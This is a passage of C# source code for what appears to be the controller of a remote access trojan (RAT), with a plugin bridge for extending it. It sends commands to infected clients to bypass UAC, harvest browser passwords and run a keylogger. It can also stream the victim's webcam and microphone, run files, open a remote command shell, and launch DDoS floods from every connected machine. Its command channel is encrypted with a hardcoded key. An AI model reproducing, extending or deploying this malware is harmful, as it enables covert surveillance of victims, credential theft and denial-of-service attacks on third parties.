StringDelegate(ctx.XSaveEditorFile), //Save remote file editor ShowInputBox = new InputDelegate(ctx.XInputBox) //Local show input box }; sCore.UI.CommonControls.fileManagerMenu = ctx.contextMenuStrip3; //Share the file manager's context menu with the plugin sCore.UI.CommonControls.processMenu = ctx.contextMenuStrip2; //Share the process manager's context menu with the plugin sCore.UI.CommonControls.mainTabControl = ctx.tabControl1; //Share the tabControl with the plugin sCore.UI.ControlManager.SetFormControls(ctx.Controls); //Share every control with the plugin ctx.lbf = lf; sCore.Integration.Integrate.SetBridge(ctx.lbf); } /// /// Send stopping singal to a plugin /// /// The plugin's interface to kill public void StopSignalPlugin(IPluginMain iface) { iface.OnExit(); //Signal the stop to the plugin runningPlugins.Remove(iface); //Remove from the running plugins list sCore.Integration.Integrate.RevokePermissions(masterKey, iface); //Revoke the plugin's permissions } } #endregion #region Cross Bridge Functions /// /// Show local input box /// /// Title of the input box /// Message of the input box /// The result of the input box public Types.InputBoxValue XInputBox(string title, string message) { if (InvokeRequired) //Check if we need to invoke { return (Types.InputBoxValue) Invoke(lbf.ShowInputBox, new object[] { title, message }); //Invoke and return result } string value = ""; //Declare result DialogResult result = InputBox(title, message, ref value); //Show inpu box and grab dialog result Types.InputBoxValue inputValue = new Types.InputBoxValue() //Create new result object { dialogResult = result, result = value }; return inputValue; //Return the result } /// /// Save a remote edited file /// /// The contents of the file to write public void XSaveEditorFile(string content) { SaveFile(content); //Save remote file } /// /// Launch the remote proxy server /// public void XLaunchProxy() { if (InvokeRequired) //Check if we need to invoke { Invoke(lbf.StartProxy); //Invoke return; //Return } button34_Click(null, null); //Call the button click function for proxy start } /// /// Bypass the UAC /// public void XBypassUAC() { SendToTarget("uacbypass"); //Send UAC bypass command } /// /// List remote browser passwords /// public void XListPassword() { SendToTarget("getpw"); //Send command to list passwords } /// /// Clear the password list /// public void XClearList() { if (InvokeRequired) //Check if we need to invoke { Invoke(lbf.ClearList); //Invoke return; //Return } button32_Click(null, null); //Click the button for clearing password list } /// /// Start DDoS Attack /// /// The DDoS information object /// Attack with every connected clients public void XStartDDoS(Types.DDoSTarget ddos, bool attackWithAll) { //Start the attack StartDDoS(ddos.IPAddress, ddos.PortNumber.ToString(), sCore.Utils.Convert.ToStr(ddos.DDoSProtocol), ddos.PacketSize.ToString(), ddos.ThreadCount.ToString(), ddos.Delay.ToString(), attackWithAll); } /// /// Stop DDoS attack /// public void XStopDDoS() { if (InvokeRequired) //Check if we need to invoke { Invoke(lbf.StopDDoS); //Invoke return; //Return } button30_Click(null, null); //Click the button for stopping DDoS } /// /// Validate DDoS target and ports /// /// DDoS information object public void XValidateDDoS(Types.DDoSTarget ddos) { if (InvokeRequired) //Check if we need to invoke { Invoke(lbf.ValidateDDoS); //Invoke return; //Return } bool result = TestDDoS(ddos.IPAddress, sCore.Utils.Convert.ToStr(ddos.DDoSProtocol)); //Test the DDoS } /// /// Start streaming remote video /// /// The device ID to stream from public void XStartVideo(int deviceNumber) { if (InvokeRequired) //Check if we need to invoke { Invoke(lbf.StartVideo); //Invoke return; //Return } if (!WStream) //If video steam is not running { String id = deviceNumber.ToString(); //Convert the id to string String command = "wstream§" + id; //Construct the command MultiRecv = true; //Set multi recv since this is a surveillance module WStream = true; //Set the wStream to started button27.Text = "Stop stream"; //Update button text SendToTarget(command); //Send the command to the client } } /// /// Stop remote video stream /// public void XStopVideo() { if (InvokeRequired) //Check if we need to invoke { Invoke(lbf.StopVideo); //Invoke return; //Return } if (WStream) //Check if video stream is running { SendToTarget("wstop"); //Send the command to stop if (!RDesktop && !AuStream) //If no remote desktop and no audio stream is running { Application.DoEvents(); //Do the events System.Threading.Thread.Sleep(1500); //Sleep for a while (wait for client to stop sending) MultiRecv = false; //Set multi recv to false, sicne no surveillance module is running } WStream = false; //Disable the wStream button27.Text = "Start Stream"; //Update the button text } } /// /// List video stream devices /// public void XListVideo() { SendToTarget("wlist"); //Send the listing command } /// /// Start remote audio stream /// /// The device ID to listen to public void XStartAudio(int deviceNumber) { if (InvokeRequired) //Check if we need to invoke { Invoke(lbf.StartAudio); //Invoke return; //Return } if (!AuStream) //If audio is not streaming { MultiRecv = true; //Set multiRecv, since it's a surveillance module AuStream = true; //Enable audio straming mode astream = new AudioStream(); //Create a new playback object astream.Init(); //Init the playback SendToTarget("astream§" + deviceNumber.ToString()); //Send command to start streaming button25.Text = "Stop Stream"; //Update the button text } } /// /// Stop remote audio streaming /// public void XStopAudio() { if (InvokeRequired) //Check fi we need to invoke { Invoke(lbf.StopAudio); //Invoke return; //Return } if (AuStream) //Check if audio stream is running { SendToTarget("astop"); //Stop the client stream if (!RDesktop && !WStream) //If not remote desktop and no video stream is running { Application.DoEvents(); //Do the events System.Threading.Thread.Sleep(1500); //Wait for the client to stop the stream MultiRecv = false; //Set multiRecv to false, since no surveillance module is running } AuStream = false; //Disable audio streaming astream.Destroy(); //Release the playback object astream = null; //Set the playback reference to null button25.Text = "Start Stream"; //Update the button text } } /// /// List audio streaming devices /// public void XListAudio() { SendToTarget("alist"); //Send listing command } /// /// Start remote desktop session /// public void XStartRemoteDesktop() { if (!RDesktop) //If remote desktop not started { btnStartRemoteScreen_Click(null, null); //Click button for remote desktop start } } /// /// Stop remote desktop session /// public void XStopRemoteDesktop() { if (InvokeRequired) //If we need to invoke { Invoke(lbf.StopRemoteDesktop); //Invoke return; //Return } btnStopRemoteScreen_Click(null, null); //Click button, for remote desktop to stop } /// /// Control the state of remote mouse /// /// The state of the remote mouse public void XControlRemoteMouse(bool state) { if (InvokeRequired) //If we need to invoke { Invoke(lbf.ControlRemoteMouse); //Invoke return; //Return } checkBoxrMouse.Checked = state; //Change the state checkBoxrMouse_CheckedChanged(null, null); //Call checkbox event } /// /// Control the state of remote keyboard /// /// State of remote keyboard public void XControlRemoteKeyboard(bool state) { if (InvokeRequired) //If we need to invoke { Invoke(lbf.ControlRemoteKeyboard); //Invoke return; //Return } checkBoxrKeyboard.Checked = state; //Change the state checkBoxrKeyboard_CheckedChanged(null, null); //Call checkbox event } /// /// Change remote desktop to full screen mode /// public void XLaunchFullScreen() { if (InvokeRequired) //If we need to invoke { Invoke(lbf.StartFullScreen); //Invoke return; //Return } btnFullRemoteScreen_Click(null, null); //Click button, for remote desktop to switch to full screen } /// /// Start remote keylogger /// public void XStartKeylogger() { SendToTarget("sklog"); //Send command to start keylogger } /// /// Stop the remote keylogger /// public void XStopKeylogger() { SendToTarget("stklog"); //Send command to stop remote keylogger } /// /// Read the remote keylog /// public void XReadKeylog() { SendToTarget("rklog"); //Send command to read remote keylog } /// /// Clear remote keylog buffer /// public void XClearKeylog() { SendToTarget("cklog"); //Send command to clear remtote keylog buffer } /// /// List remote drives /// public void XListDrives() { SendToTarget("fdrive"); //Send command to list remote drives } /// /// Change the current folder for remote filesystem browser /// /// The folder to browse to public void XChangeFolder(string folderName) { if (InvokeRequired) //If we need to invoke { Invoke(lbf.ChangeDircectory, new object[] { folderName }); //Invoke return; //Return } SendToTarget("fdir§" + folderName); //Send command to list remote files CurrentPath = folderName; //Set the current path listView3.Items.Clear(); //Clear the files listView } /// /// Travel one directory up in the tree /// public void XUp1() { SendToTarget("fdir§" + CurrentPath); //Send command to up1 directory } /// /// Remote Copy File /// /// The path of the file to copy public void XCopyFile(string fileName) { xfer_path = fileName; //Set file path xfer_mode = xfer_copy; //Set transfer mode } /// /// Move remote file /// /// Path of the file to move public void XMoveFile(string fileName) { xfer_path = fileName; //Set the file path xfer_mode = xfer_move; //Set the transfer mode } /// /// Paste remote file /// /// The directory to paste the file to public void XPasteFile(string targetDirectory) { SendToTarget("fpaste§" + targetDirectory + "§" + xfer_path + "§" + xfer_mode); //Send command to paste file } /// /// Execute remote file /// /// Path of the file to execute public void XExecuteFile(string targetFile) { SendToTarget("fexec§" + targetFile); //Send command to execute remote file } /// /// Upload file to remote system /// /// The remote directoty to upload to /// The local file to upload public void XUploadFile(string dir, string file) { dir += "\\" + new FileInfo(file).Name; //Set the full file path String cmd = "fup§" + dir + "§" + new FileInfo(file).Length; //Construct the command to send fup_local_path = file; //Set the upload file path SendToTarget(cmd); //Send the command to the client } /// /// Download a file from the remote file system /// /// The local path of the file /// The remote file to download public void XDownloadFile(string targetFile, string remoteFile) { fdl_location = targetFile; //Set the local file download location SendToTarget("fdl§" + remoteFile); //Send command to download file } /// /// Open the file editor /// /// Path of the remote file to edit public void XOpenFileEditor(string remoteFile) { edit_content = remoteFile; //Set the remote file path SendToTarget("getfile§" + remoteFile); //Send command to client } /// /// Change remote file's attribute /// /// Path of the remote file to change the attrs of /// The visibility of the remote file public void XChangeAttribute(string remoteFile, Types.Visibility visibility) { string command = "f" + sCore.Utils.Convert.ToStr(visibility) + "§" + remoteFile; //Construct the command SendToTarget(command); //Send the command to the client } /// /// Delete a file/directory on the remote file system /// /// File or Directory path to delete public void XDeleteFile(string remoteFile) { if (InvokeRequired) //If we need to invoke { Invoke(lbf.DeleteFile, new object[] { remoteFile }); //Invoke return; //Return } SendToTarget("fdel§" + remoteFile); //Send the command to the client RefreshFiles(); //Refresh the file list } /// /// Rename a remote file/directory /// /// The path of the remote file/directory /// The new name of the file/directory public void XRenameFile(string remoteFile, string newName) { SendToTarget("frename§" + remoteFile + "§" + newName); //Send command to client } /// /// Create a new directory on the remote file system /// /// The parent directory /// The name of the new directory public void XNewDirectory(string targetDirectory, string name) { if (InvokeRequired) // If we need to invoke { Invoke(lbf.CreateFolder, new object[] { targetDirectory, name }); //Invoke return; //Return } SendToTarget("fndir§" + targetDirectory + "§" + name); //Send command to the client RefreshFiles(); //Refresh the file list } /// /// Create a new file on the remote file system /// /// The parent directory /// The name of the new file public void XNewFile(string targetDirectory, string name) { if (InvokeRequired) //If we need to invoke { Invoke(lbf.CreateFile, new object[] { targetDirectory, name }); //Invoke return; //Return } SendToTarget("ffile§" + targetDirectory + "§" + name); //Send command to the client RefreshFiles(); //Refresh the file list } /// /// Display a local message box /// /// The text of the message box /// The title of the message box /// The message box buttons /// The message box icon /// The dialog result of the message box public DialogResult XMessageBox(string text, string title, MessageBoxButtons buttons, MessageBoxIcon icon) { if (InvokeRequired) //If we need to invoke { return (DialogResult) Invoke(lbf.ShowMessageBox, new object[] { text, title, buttons, icon }); //Invoke and return } return MessageBox.Show(this, text, title, buttons, icon); //Show the message box and return the result } /// /// Start the local server listener /// public void XStartServer() { if (InvokeRequired) //If we need to invoke { Invoke(lbf.StartServer); //Invoke return; //Return } if (!IsStartedServer) button1_Click(null, null); //If the server isn't started then start it } /// /// Stop the local server listener /// public void XStopServer() { if (InvokeRequired) //If we need to invoke { Invoke(lbf.StopServer); //Invoke return; //Return } if (IsStartedServer) button1_Click(null, null); //If the server is started, then stop it } /// /// Toggle the local server listener /// public void XToggleServer() { if (InvokeRequired) //if we need to invoke { Invoke(lbf.ToggleServer); //Invoke return; //Return } button1_Click(null, null); //Toggle the server state } /// /// Display a message box on the remote system /// /// The text of the message box /// The title of the message box /// The message box buttons /// The message box icon public void XRemoteMessage(string text, string title, Types.RemoteMessageButtons buttons, Types.RemoteMessageIcons icon) { string command = "msg|" + title + "|" + text + "|" + ((int)icon).ToString() + "|" + ((int)buttons).ToString(); //Construct the command SendToTarget(command); //Send the command to the client } /// /// Play a frequecy on the remote systen /// /// The frequency to play public void XFrequency(string frequency) { SendToTarget("freq-" + frequency); //Send command to client } /// /// Play a system sound on the remote system /// /// The system sound to play public void XSystemSound(Types.SystemSounds sound) { string command = "sound-" + ((int)sound).ToString(); //Construct the command SendToTarget(command); //Send to command to the client } /// /// Execute Text To Speech on a remote system /// /// The text to read public void XT2s(string text) { string command = "t2s|" + text; //Construct the command SendToTarget(command); //Send command to the client } /// /// Control windows element visibility on the remote system /// /// The element to change the state of /// The visibility of the element public void XElements(Types.SystemElements element, Types.Visibility visibility) { string welement = sCore.Utils.Convert.ToStr(element); //Get the element string string wvisibility = sCore.Utils.Convert.ToStr(visibility); //Get the visibility state string string command = "emt|" + wvisibility + "|" + welement; //Construct the command SendToTarget(command); //Send the command to client } /// /// Control the CD Tray of the remote system /// /// The state of the CD Tray public void XCdTray(Types.CdTray cdState) { string command = "cd|" + sCore.Utils.Convert.ToStr(cdState); //Connstruct the command SendToTarget(command); //Send command to client } /// /// List running processes on the remote system /// public void XListProcesses() { if (InvokeRequired) //If we need to invoke { Invoke(lbf.ListProcesses); //Invoke return; //Return } refreshToolStripMenuItem1_Click(null, null); //Refresh the process list } /// /// Kill a process on the remote system /// /// The PID of the process to kill public void XKillProcess(string processId) { String cmd = "prockill|" + processId; //Contruct the command SendToTarget(cmd); //Send command to the client System.Threading.Thread.Sleep(1000); //Wait for the process to die XListProcesses(); //Refresh the process list } /// /// Start a process on the remote system /// /// The name of the process(file path) /// The visibility of the process window public void XStartProcess(string processName, Types.Visibility visibility) { if (InvokeRequired) //If we need to invoke { Invoke(lbf.StartProcess, new object[] { processName, visibility }); //Invoke return; //Return } String cmd = "procstart|" + processName + "|" + sCore.Utils.Convert.ToStrProcessVisibility(visibility); //Construct the command SendToTarget(cmd); //Send the command to client System.Threading.Thread.Sleep(1000); //Wait for the client to start the process XListProcesses(); //Refresh the process list } /// /// Start remote command line session /// public void XStartCmd() { if (!IsCmdStarted) //If remote cmd isn't started { if (InvokeRequired) //If we need to invoke { Invoke(lbf.StartCmd); //Invoke return; //Return } button15_Click(null, null); //Start the remtote cmd session } } /// /// Stop the remote command line session /// public void XStopCmd() { if (IsCmdStarted) //If the remote cmd is running { if (InvokeRequired) //If we need to invoke { Invoke(lbf.StopCmd); //Invoke return; //Return } button15_Click(null, null); //Stop the remote cmd session } } /// /// Toggle the remote command line session /// public void XToggleCmd() { if (InvokeRequired) //If we need to invoke { Invoke(lbf.ToggleCmd); //Invoke return; //Return } button15_Click(null, null); //Toggle the remote cmd state } /// /// Send command to the remote command line /// /// The command to execute public void XSendCmdCommand(string command) { SendToTarget("cmd§" + command); //Send the command to the client } /// /// Read command line output /// /// The output of the command line public string XReadCmdOutput() { if (InvokeRequired) //If we need to invoke { return (string)Invoke(lbf.ReadCmdOutput); //Invoke and return } return richTextBox2.Text; //Return all output text } #endregion #region Form and Server Functions /// /// Constructor /// public Form1() { me = this; //Set a self reference InitializeComponent(); //Init the UI controls } /// /// Update the screen update value based on the trackBar /// public void ScreenFPS() { int value = me.trackBar1.Value; //Get the trackBar's value me.lblQualityShow.Text = value.ToString(); //Display the trackBar's value //Decide FPS based on it's position if (value < 25) FPS = 150; //low else if (value >= 75 && value <= 85) FPS = 80; //best else if (value >= 85) FPS = 50; //high else if (value >= 25) FPS = 100; //mid } /// /// Remove a pipe from the list /// /// The pipe to remove /// If the pipe is connected public void RemovePipe(RemotePipe obj, bool remote = true) { int rmid = 0; //Declare index variable bool canRemove = false; //Declare removing flag foreach (RemotePipe rp in rPipeList) //Go through all pipes { if (obj == rp) //If the pipes match { canRemove = true; //We can remove the pipe break; //Break the loop } rmid++; //Increment the index } if (canRemove) //If we can remove the pipe { string sName = rPipeList[rmid].pname; //Get the name of the server sCore.RAT.ExternalApps.RemoveIPCConnection(hostToken, sName); //Remove the connection from the plugins if (remote) SendToTarget("stopipc§" + sName); //If the pipe is connected, then send a command to the remote client rPipeList.RemoveAt(rmid); //Remove the pipe from the list } } /// /// Start a DDoS Attack against a remote server /// /// The IP address of the target server /// The remote port to flood on /// The protocol to use /// The size of each sent packet /// How many threads to use per client /// How many time to wait between packets /// Attack with all connected clients private void StartDDoS(string ip, string port, string protocol, string packetSize, string threads, string delay, bool isAllClient) { StringBuilder sb = new StringBuilder(); sb.Append("ddosr|") .Append(ip).Append("|") .Append(port).Append("|") .Append(protocol).Append("|") .Append(packetSize).Append("|") .Append(threads).Append("|") .Append(delay); string command = sb.ToString(); if (isAllClient) //If we want to attack with every client { int inc = 0; //Declare index variable foreach (Socket s in _clientSockets) //Go through the connected sockets { SendCommand(command, inc); //Send the command to the client inc++; //Incremnet the index } label18.Text = "Status: DDoS Started [Client_Count:" + inc.ToString() + " Target_IP:" + ip + " Target_Port:" + port + "]"; //Update the UI } else { SendToTarget(command); //Send the command to the client label18.Text = "Status: DDoS Started [Client_Count:1 Target_IP:" + ip + " Target_Port:" + port + "]"; //Update the UI } } /// /// Test if target received DDoS packets /// /// The IP address to test /// The protocol to use for testing /// If the target can be reached via the protocol private bool TestDDoS(string ip, string port) { if (port == "ICMP ECHO (Ping)") //Ping protocol { System.Net.NetworkInformation.Ping ping = new System.Net.NetworkInformation.Ping(); //Create a new ping object System.Net.NetworkInformation.PingReply reply = ping.Send(ip, 1000, Encoding.Unicode.GetBytes("Test")); //Send the ping and read the reply if (reply.Status == System.Net.NetworkInformation.IPStatus.Success) //Ping was successful { //Notify the user MessageBox.Show(this, "Ping succes with 1 second timeout and 4 bytes of data (test)", "Target responded to ping", MessageBoxButtons.OK, MessageBoxIcon.Information); return true; //Return true } else //Ping failed { //Notify the user MessageBox.Show(this, "Ping failed with 1 second timeout and 4 bytes of data (test)", "Target didn't responded to ping!", MessageBoxButtons.OK, MessageBoxIcon.Warning); return false; //Return false } } else if (port == "TCP") //Use TCP protocol { TcpClient client = new TcpClient(); //Create a new client try { client.Connect(ip, int.Parse(numericUpDown1.Value.ToString())); //Connect to the remote server if (client.Connected) //Client can connect { //Notify the user MessageBox.Show(this, "Connection to " + ip + ":" + int.Parse(numericUpDown1.Value.ToString()) + " successed", "TCP DDoS test", MessageBoxButtons.OK, MessageBoxIcon.Information); return true; //Return true } else //Client could not connect to the remote server { //Notify the user MessageBox.Show(this, "Connection to " + ip + ":" + int.Parse(numericUpDown1.Value.ToString()) + " failed", "TCP DDoS test", MessageBoxButtons.OK, MessageBoxIcon.Warning); return false; //Return false } } catch (Exception) //Client can't connect { //Notify the user MessageBox.Show(this, "Connection to " + ip + ":" + int.Parse(numericUpDown1.Value.ToString()) + " failed", "TCP DDoS test", MessageBoxButtons.OK, MessageBoxIcon.Warning); return false; //Return false } } else // UDP Connection { try { UdpClient client = new UdpClient(); //Create a UDP client client.Connect(ip, int.Parse(numericUpDown1.Value.ToString())); //Connect to the remote server IPEndPoint ep = new IPEndPoint(IPAddress.Parse(ip), int.Parse(numericUpDown1.Value.ToString())); //Create an EndPoint to the remote server client.Send(new byte[] { 0x0, 0x1, 0x2, 0x3 }, 4, ep); //Send test data to the remote server //Notify the user MessageBox.Show(this, "Connection to " + ip + ":" + int.Parse(numericUpDown1.Value.ToString()) + " successed", "UDP DDoS test", MessageBoxButtons.OK, MessageBoxIcon.Information); return true; //Return true } catch (Exception) //Client can't connect or send the data { //Notify the user MessageBox.Show(this, "Connection to " + ip + ":" + int.Parse(numericUpDown1.Value.ToString()) + " failed", "UDP DDoS test", MessageBoxButtons.OK, MessageBoxIcon.Warning); return false; //Return false } } } /// /// Main form closing event /// /// The sender of the event /// The event args private void Form1_FormClosing(object sender, FormClosingEventArgs e) { if (_clientSockets.Count > 0) CloseAllSockets(); //If clients are connected, then close them if (sh != null) //If ScriptHost is enabled { foreach (IPluginMain ipm in sh.runningPlugins) //Go through the running plugins { ipm.OnExit(); //Stop the plugin } } Environment.Exit(0); //Exit the application } /// /// Save edited file contents /// /// The content to save public void SaveFile(String content) { string cmd = "putfile§" + edit_content + "§" + content; //Construct the command SendToTarget(cmd); //Send the command to the client RefreshFiles(); //Refresh the file list } /// /// Display an inputbox on the local system /// /// The title of the input box /// The prompt text of the input box /// The variable in which the answer is stored in /// The dialog result of the input box public DialogResult InputBox(string title, string promptText, ref string value) { //This code is from http://www.csharp-examples.net/inputbox/ Form form = new Form(); //Create a new from Label label = new Label(); //Create the promptText label TextBox textBox = new TextBox(); //Create the input textbox Button buttonOk = new Button(); //Create the OK button Button buttonCancel = new Button(); //Create the cancel button form.Text = title; //Set the title text label.Text = promptText; //Set the prompt text textBox.Text = value; //Set the default value for the input buttonOk.Text = "OK"; //Set the button text buttonCancel.Text = "Cancel"; //Set the button text buttonOk.DialogResult = DialogResult.OK; //Set dialog result OK buttonCancel.DialogResult = DialogResult.Cancel; //Set dialog result cancel label.SetBounds(9, 20, 372, 13); //Set the label size textBox.SetBounds(12, 36, 372, 20); //Set the inputbox size buttonOk.SetBounds(228, 72, 75, 23); //Set buttonOk size buttonCancel.SetBounds(309, 72, 75, 23); //Set button cancel size label.AutoSize = true; //Set the label to autosize textBox.Anchor = textBox.Anchor | AnchorStyles.Right; //Set textBox anchor buttonOk.Anchor = AnchorStyles.Bottom | AnchorStyles.Right; //Set ok button anchor buttonCancel.Anchor = AnchorStyles.Bottom | AnchorStyles.Right; //Set cancel button anchor form.ClientSize = new Size(396, 107); //Set the form's size form.Controls.AddRange(new Control[] { label, textBox, buttonOk, buttonCancel }); //Add the controls to the form form.ClientSize = new Size(Math.Max(300, label.Right + 10), form.ClientSize.Height); //Set the form's client size form.FormBorderStyle = FormBorderStyle.FixedDialog; //Set the border style form.StartPosition = FormStartPosition.CenterScreen; //Set the start position form.MinimizeBox = false; //Hide the minimize box form.MaximizeBox = false; //Hide the maximize box form.AcceptButton = buttonOk; //Set the accept button form.CancelButton = buttonCancel; //Set the cancel button DialogResult dialogResult = form.ShowDialog(); //Get the result of the dialog nad show it value = textBox.Text; //Set the value to the result answer return dialogResult; //Return the dialog result } /// /// Refresh the file list on the current directory /// private void RefreshFiles() { Application.DoEvents(); //Do the events System.Threading.Thread.Sleep(1500); //Wait for 1.5 seconds listView3.Items.Clear(); //Clear the file list string cmd = "fdir§" + CurrentPath; //Construct the command SendToTarget(cmd); //Send the command to the client } /// /// Send command to a client /// /// The command to send /// The client to send the command to private void SendCommand(string command, int targetClient) { try { Socket s = _clientSockets[targetClient]; //Get the socket if (lcm.IsLinuxClient(s)) //Check if client is linux client { lcm.SendCommand(command, targetClient); //Send the command using the linux client manager return; //Return } try { command = Encrypt(command); //Encrypt the comand byte[] data = Encoding.Unicode.GetBytes(command); //Get the unicode bytes of the comand string header = command.Length.ToString() + "§"; //Create message length header byte[] byteHeader = Encoding.Unicode.GetBytes(header); //Convert the header to bytes byte[] fullBytes = new byte[byteHeader.Length + data.Length]; //Allocate space for the full message Array.Copy(byteHeader, fullBytes, byteHeader.Length); //Copy the message hader to the full message Array.ConstrainedCopy(data, 0, fullBytes, byteHeader.Length, data.Length); //Copy the message to the full message s.Send(fullBytes); //Send the full message } catch (Exception) //Something went wrong { int id = targetClient; //Store the id of the target client reScanTarget = true; //Set rescan flag to true reScanStart = id; //Set the rescan target Console.WriteLine("Client forcefully disconnected"); //Debug Function s.Close(); //Close the target socket _clientSockets.Remove(s); //Remove the socket from the list SwitchTab(tabControl1.TabPages[0]); //Switch to the client selection tab RestartServer(id); //Restart the server return; //Return } } catch { //Do nothing } } /// /// Send a command to every controlled client /// /// The command to send public void SendToTarget(string command) { SendCommand(command, controlClient); } /// /// Send byte data to controlled clients /// /// The bytes to send private void SendBytesToTarget(byte[] data) { SendCommand(data, controlClient); } /// /// Send raw byte data to client /// /// The bytes to send /// The target client private void SendCommand(byte[] data, int targetClient) { Socket s = _clientSockets[targetClient]; //Get the socket of the target client s.Send(data); //Send the bytes to the client } /// /// Encrypt commands sent to the client /// /// The command to encrypt /// The encrypted command public string Encrypt(string clearText) { string EncryptionKey = "MAKV2SPBNI99212"; //Declare the encryption key (it's not the best thing to do) byte[] clearBytes = Encoding.Unicode.GetBytes(clearText); //Get the bytes of the message using (Aes encryptor = Aes.Create()) //Create a new aes object { Rfc2898DeriveBytes pdb = new Rfc2898DeriveBytes(EncryptionKey, new byte[] { 0x49, 0x76, 0x61, 0x6e, 0x20, 0x4d, 0x65, 0x64, 0x76, 0x65, 0x64, 0x65, 0x76 }); //Get encryption key encryptor.Key = pdb.GetBytes(32); //Set the encryption key encryptor.IV = pdb.GetBytes(16); //Set the encryption IV using (MemoryStream ms = new MemoryStream()) //Create a new memory stream { using (CryptoStream cs = new CryptoStream(ms, encryptor.CreateEncryptor(), CryptoStreamMode.Write)) //Create a new crypto stream { cs.Write(clearBytes, 0, clearBytes.Length); //Write the command to the crypto stream cs.Close(); //Close the crypto stream } clearText = System.Convert.ToBase64String(ms.ToArray()); //Convert the encrypted bytes to a Base64 string } } return clearText; //Return the encrypted command } /// /// Decrypt responses sent by the client /// /// The encrypted zext sent by the client /// The decrypted text public string Decrypt(string cipherText) { try //Try { string EncryptionKey = "MAKV2SPBNI99212"; //Declare the decryption key (not the best thing to do, same key as above) byte[] cipherBytes = System.Convert.FromBase64String(cipherText); //Decrypt base 64 to bytes using (Aes encryptor = Aes.Create()) //Create a new aes object { Rfc2898DeriveBytes pdb = new Rfc2898DeriveBytes(EncryptionKey, new byte[] { 0x49, 0x76, 0x61, 0x6e, 0x20, 0x4d, 0x65, 0x64, 0x76, 0x65, 0x64, 0x65, 0x76 }); //Get encryption key encryptor.Key = pdb.GetBytes(32); //Set the key encryptor.IV = pdb.GetBytes(16); //Set the IV using (MemoryStream ms = new MemoryStream()) //Create new memory stream { using (CryptoStream cs = new CryptoStream(ms, encryptor.CreateDecryptor(), CryptoStreamMode.Write)) //Create new crypto stream { cs.Write(cipherBytes, 0, cipherBytes.Length); //Write the encrypted data to the crypto stream cs.Close(); //Close the crypto stream } cipherText = Encoding.Unicode.GetString(ms.ToArray()); //Convert the memory stream to string } } return cipherText; //Return the decrypted text } catch (Exception) //Can't decrypt { //plain text? // MessageBox.Show("Decrypt error "); //dont show the decrytp error it is too large and causes more problems //return cipherText; //Set the exception flag IsException = true; //spirals out of control here if you cannot decrypt jibberish over bad connection so added this - seems to work return null; //Return null } } // TODO: this could become a class to pass references only /// /// Struct for storing Client Information /// struct ClientObject { public byte[] buffer; //The received buffer of the client public Socket s; //The socket of the client } /// /// Get a socket by client ID /// /// The id of the client to get the socket of /// The socket of the client public Socket GetSocketById(int id) { if (id >= _clientSockets.Count) return null; //Check if the ID is too big return _clientSockets[id]; //Return the socket of the client } /// /// When the form is shown to the user /// /// The sender of the event /// The event args private void Form1_Shown(object sender, EventArgs e) { ServicePointManager.UseNagleAlgorithm = false; //Disable Nagle Algorithm (Multiple TCP messages sent in a short period of time will be sent as one if enabled) richTextBox2.ReadOnly = true; //Set the terminal window to read only richTextBox2.BackColor = Color.Black; //Set the terminal window's backColor to black richTextBox2.ForeColor = Color.White; //Set the terminal window's foreColor (text color) to white comboBox1.SelectedIndex = 0; //Select the first item from the message box icons comboBox2.SelectedIndex = 0; //Select the first item from the message box buttons comboBox3.SelectedIndex = 0; //Select the first item from the system sounds comboBox4.SelectedIndex = 0; //Select the first item from the process visibility label24.Hide(); //Set the live updates label to hidden visibility label36.Hide(); //Auto Load Status Display progressBar1.Hide(); //Auto Load Status Display 2 button20.Enabled = false; //Auto Load button //Add dynamic toolstrip item event handlers contextMenuStrip2.ItemAdded += new ToolStripItemEventHandler(TSItemAdded); contextMenuStrip2.ItemRemoved += new ToolStripItemEventHandler(TSItemRemoved); contextMenuStrip3.ItemAdded += new ToolStripItemEventHandler(TSItemAdded); contextMenuStrip3.ItemRemoved += new ToolStripItemEventHandler(TSItemRemoved); for (int a = 0; a < contextMenuStrip2.Items.Count; a++) //Loop through the process manager's toolstrip items { ToolStripItem i = contextMenuStrip2.Items[a]; //The current item tsitem.Add(i); //Add the item to the list tsrefname.Add(i.Name); //Add the item's name to the list } for (int a = 0; a < contextMenuStrip3.Items.Count; a++) //Loop through the file manager's toolstip items { ToolStripItem i = contextMenuStrip3.Items[a]; //The current item tsitem.Add(i); //Add the item to the list tsrefname.Add(i.Name); //Add the item's name to the list } foreach (TabPage p in tabControl1.TabPages) //Loop through the TabPages { pages.Add(p); //Add the current page to the list } // TODO: do we actually need routeWindow or does it just hurt the performance? Timer update = new Timer { Interval = 100 // prev. 3000 //Set update frequency }; //Create a new timer update.Tick += new EventHandler(UpdateValues); //Set the tick event update.Start(); //Start the timer sh = new ScriptHost("scripts", this); //Create a new script host sh.LoadDllFiles(); //Load the plugin files sh.SetupBridge(); //Setup the function bridge for plugins hostToken = sCore.Integration.Integrate.GetHostToken(); //Get the host token } /// /// Creates a new server socket, and starts the server /// private void SetupServer() { label1.Text = "Setting up server"; //Update UI _serverSocket = new Socket(AddressFamily.InterNetwork, SocketType.Stream, ProtocolType.Tcp); //Create the new server socket _serverSocket.Bind(new IPEndPoint(IPAddress.Any, _PORT)); //Bind the new socket to the local machine _serverSocket.Listen(5); //Listen for incoming connections _serverSocket.BeginAccept(AcceptCallback, null); //Define the client accept callback lcm = new LinuxClientManager(this); //Create a new linux client manager label1.Text = "Server is up and running\n"; //Update the UIs } /// /// Kill all connected clients and close the server socket /// private void CloseAllSockets() { IsStartedServer = false; //Set the server started to false int id = 0; //Declare the index variable foreach (Socket socket in _clientSockets) //Go through each connected socket { try { SendCommand("dc", id); //Send a graceful disconnect command socket.Shutdown(SocketShutdown.Both); //Shutdown the sockets socket.Close(); //Close the socket socket.Dispose(); //Dispose the socket } catch (Exception) //If something went wrong { Console.WriteLine("Client" + id + " failed to send dc request!"); //Debug Function } id++; } if (lcm != null) lcm.ResetAssociation(); //Reset all linux client's from the manager _serverSocket.Close(); //Close the server socket _serverSocket.Dispose(); //Dispose the server socket _clientSockets.Clear(); //Remove all client sockets from the client list } /// /// Handling clients trying to connect to the server /// /// Async result for the function private void AcceptCallback(IAsyncResult AR) { Socket socket; //Declare a new socket try { socket = _serverSocket.EndAccept(AR); //Try to get the connecting socket } catch (Exception) //Client closed the connection before accepting { Console.WriteLine("Accept callback error"); //Debug function return; } _clientSockets.Add(socket); //Add the new socket to the list int id = _clientSockets.Count - 1; //Get the new ID for the client AddlvClientCallback("Client " + id); //Update the listView string cmd = "getinfo-" + id.ToString(); //Construct the command SendCommand(cmd, id); //Send the command socket.BeginReceive(_buffer, 0, _BUFFER_SIZE, SocketFlags.None, 